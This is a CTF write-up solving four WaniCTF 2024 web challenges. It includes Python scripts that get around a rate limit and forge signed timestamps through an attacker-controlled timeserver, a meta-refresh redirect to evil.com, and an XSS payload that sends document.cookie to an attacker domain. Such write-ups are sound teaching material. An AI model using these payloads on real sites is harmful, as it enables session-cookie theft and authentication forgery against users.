WANICTF2024 - Web Challenges
Solves of the 4 firsts Web challenges for WaniCTF
Here is our solutions for the 4 firsts web challenges of WaniCTF 2024.
Bad Worker
120pt Beginner (558 solves)
Not aware of the intended way of solving this one, i just browsed the site and the flag was there lol
FLAG{pr0gr3ssiv3_w3b_4pp_1s_us3fu1}
Solved by Happi
pow
pow - 144pt Easy (243 solves)
Here’s the challenge front-end :
We presume that the goal is to reach progress: 1000000/1000000
. However, it takes about 3 mins to get 1/1000000
so we’ll need to find our way to speed up the process.
After few time, the application issue the request bellow :
As you can see, it increased the progress. Can we replay this request 1000000 times to solve the challenge ?
However, after few tries, we got this response :
1
2
3
4
5
6
7
8
HTTP/2 429 Too Many Requests
Alt-Svc: h3=":443"; ma=2592000
Content-Type: text/plain; charset=utf-8
Date: Sun, 23 Jun 2024 09:44:10 GMT
Server: Caddy
Content-Length: 19
rate limit exceeded
There is a rate limit, but can we send more than 1 value in a single request ? Certainly :
We build a simple python code to send 70000 values by request :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import urllib3
urllib3.disable_warnings()
cookies = {
'pow_session': 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiIwYmFhODJmMC05YzcxLTRiYjgtOTAxOC00YWFkNTYxOTc4YWMifQ.bK9BzZU_7VlVbiYLzMiRJsCjzKYoEx6pq-X-GWToTVU',
}
json_data = [
'2862152',
] * 70000
for i in range(15):
response = requests.post(
'https://web-pow-lz56g6.wanictf.org/api/pow',
cookies=cookies,
json=json_data,
verify=False,
#proxies={"http":"0.0.0.0:8080", "https":"0.0.0.0:8080"}
)
FLAG{N0nCE_reusE_i$_FUn}
Solved by Raza
One Day One Letter
194pt Normal (99 solves)
The goad is to spoof the date transmitted to the server. This way, we’ll be able to retrieve every letter of the flag.
Let’s see how the time check is performed from sources.
Time server
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
key = ECC.generate(curve='p256')
pubkey = key.public_key().export_key(format='PEM')
class HTTPRequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == '/pubkey':
self.send_response(HTTPStatus.OK)
self.send_header('Content-Type', 'text/plain; charset=utf-8')
self.send_header('Access-Control-Allow-Origin', '*')
self.end_headers()
res_body = pubkey
self.wfile.write(res_body.encode('utf-8'))
self.requestline
else:
timestamp = str(int(time.time())).encode('utf-8')
h = SHA256.new(timestamp)
signer = DSS.new(key, 'fips-186-3')
signature = signer.sign(h)
self.send_response(HTTPStatus.OK)
self.send_header('Content-Type', 'text/json; charset=utf-8')
self.send_header('Access-Control-Allow-Origin', '*')
self.end_headers()
res_body = json.dumps({'timestamp' : timestamp.decode('utf-8'), 'signature': signature.hex()})
self.wfile.write(res_body.encode('utf-8'))
The time server return the current time and sign this value with ECDSA algorithm using a key pair. He also provide its public key at /pubkey
so the content-server can verify the signature.
Content server
The content server makes several actions :
- He retrieve the public key of the time server
- He verify the timestamp using the signature and the public key to ensure the timestamp’s integrity
- He give us the corresponding letter
First things we can see is that no checks is performed to verify the time-server URL :
1
2
3
4
5
def get_pubkey_of_timeserver(timeserver: str):
req = Request(urljoin('https://' + timeserver, 'pubkey'))
with urlopen(req) as res:
key_text = res.read().decode('utf-8')
return ECC.import_key(key_text)
Since we control the timeserver
value, we can make it points to our controlled domain to provide the server our own public key.
Now, how can we exploit this ? Before we do, we need a short reminder about how a signature works.
Exploit
To ensure content integrity (ie: the timestamp value has not been modified by a third part), the server use a signature. It encrypt the SHA-256 value of the timestamp with its private key and expose its public key, so anyone can verify that he is the one that issued this timestamp.
To verify this, the end-user (or system) can just attempt to decrypt the content using the public key provided. If it succeed, then it means that the value has not been modified in the meantime. If not, it means that the value provided does not comes from the time-server.
Since we control the public key, we can encrypt a timestamp with our own private key to spoof the time server. Here is the flow of the attack :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from Crypto.Hash import SHA256
from Crypto.PublicKey import ECC
from Crypto.Signature import DSS
import hashlib
import time
import requests
import re
import time
import urllib3
urllib3.disable_warnings()
key = ECC.generate(curve='p256')
pubkey = key.public_key().export_key(format='PEM')
print(pubkey) # paste at http://attacker-server/pubkey
headers = {
'Content-Type': 'application/json',
}
proxies = {
"http": "0.0.0.0:8080",
"https": "0.0.0.0:8080"
}
time.sleep(10)
def send_req(tstamp, signature):
json_data = {
'timestamp': tstamp,
'signature': signature,
'timeserver': 'happi.free.beeceptor.com',
}
response = requests.post(
'https://web-one-day-one-letter-content-lz56g6.wanictf.org/',
headers=headers,
json=json_data,
verify=False,
proxies=proxies,
)
return response
def find_letter(html):
pattern = r'FLAG{\?+([a-zA-Z]).*}'
match = re.search(pattern, html)
if match:
return match.group(1)
else:
return 1
if __name__ == "__main__":
timestamp = int(time.time())
flag = [0]*12
for i in range(12):
idx = timestamp // (60*60*24) % 12
print(f"{timestamp} -> {idx}")
# Convert timestamp to string and encode to bytes
timestamp_bytes = str(timestamp).encode('utf-8')
h = SHA256.new(timestamp_bytes)
signer = DSS.new(key, 'fips-186-3')
signature = signer.sign(h)
r = send_req(timestamp_bytes.decode(), signature.hex())
c = find_letter(r.content.decode())
print(f"[+] {c} found at pos {idx}")
flag[idx] = str(c)
# Add one day from the timestamp
timestamp += 60*60*24
print(flag)
print(''.join(flag))
# FLAG{lyingthetime}
Example of successful request :
FLAG{lyingthetime}
Solved by Happi
Noscript
203pt Normal (88 solves)
We need to retrieve the admin’s cookie. Checking the code, we observe the following :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
r.GET("/user/:id", func(c *gin.Context) {
c.Header("Content-Security-Policy", "default-src 'self', script-src 'none'")
id := c.Param("id")
re := regexp.MustCompile("^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-4[a-fA-F0-9]{3}-[8|9|aA|bB][a-fA-F0-9]{3}-[a-fA-F0-9]{12}$")
if re.MatchString(id) {
if val, ok := db.Get(id); ok {
params := map[string]interface{}{
"id": id,
"username": val[0],
"profile": template.HTML(val[1]), // vulnerable to XSS
}
c.HTML(http.StatusOK, "user.html", params)
} else {
_, _ = c.Writer.WriteString("<p>user not found <a href='/'>Home</a></p>")
}
} else {
_, _ = c.Writer.WriteString("<p>invalid id <a href='/'>Home</a></p>")
}
})
“HTML encapsulates a known safe HTML document fragment. It should not be used for HTML from a third-party, or HTML with unclosed tags or comments. The outputs of a sound HTML sanitizer and a template escaped by this package are fine for use with HTML. Use of this type presents a security risk: the encapsulated content should come from a trusted source, as it will be included verbatim in the template output”
We try to inject XSS payload in the profile
field, however, the CSP rules prevent from actually executing code :
Still, it is possible to force the opening on another page using the <meta>
tag with the attribute refresh
using a payload like this :
1
<meta http-equiv="refresh" content="1; url=http://evil.com">
How can we actually leverage this to access the end-user cookies ? Let’s get back to the code to figure it out.
Exploit
We’ve missed it, but there is also an API endpoint /username:<id>
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
// Get username API
r.GET("/username/:id", func(c *gin.Context) {
id := c.Param("id")
re := regexp.MustCompile("^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-4[a-fA-F0-9]{3}-[8|9|aA|bB][a-fA-F0-9]{3}-[a-fA-F0-9]{12}$")
if re.MatchString(id) {
if val, ok := db.Get(id); ok {
_, _ = c.Writer.WriteString(val[0])
} else {
_, _ = c.Writer.WriteString("<p>user not found <a href='/'>Home</a></p>")
}
} else {
_, _ = c.Writer.WriteString("<p>invalid id <a href='/'>Home</a></p>")
}
})
This API fetch the database content and return the username as-is :
1
2
if val, ok := db.Get(id); ok {
_, _ = c.Writer.WriteString(val[0])
Additionally, it does not implement any CSP ! Note that there is a bug in Gin making that the <img>
tag (and various others) are not rendered as text/html
but as text/plain
. It is still possible to exploit various other tags (such as <script>
or even <html><img>/</html>
)
Let’s try to obtain a classical alert. We put the payload in the username
and use the <meta>
tag in profile
to redirect the end-user to /username/<id>
where the payload is actually reflected.
The XSS finally triggers ! All is left is to exfiltrate the cookie. We can use the payload bellow :
1
<script>location="https://<domain>.com/leak?flag=".concat(btoa(document.cookie))</script>
FLAG{n0scr1p4_c4n_be_d4nger0us}
Solved by Raza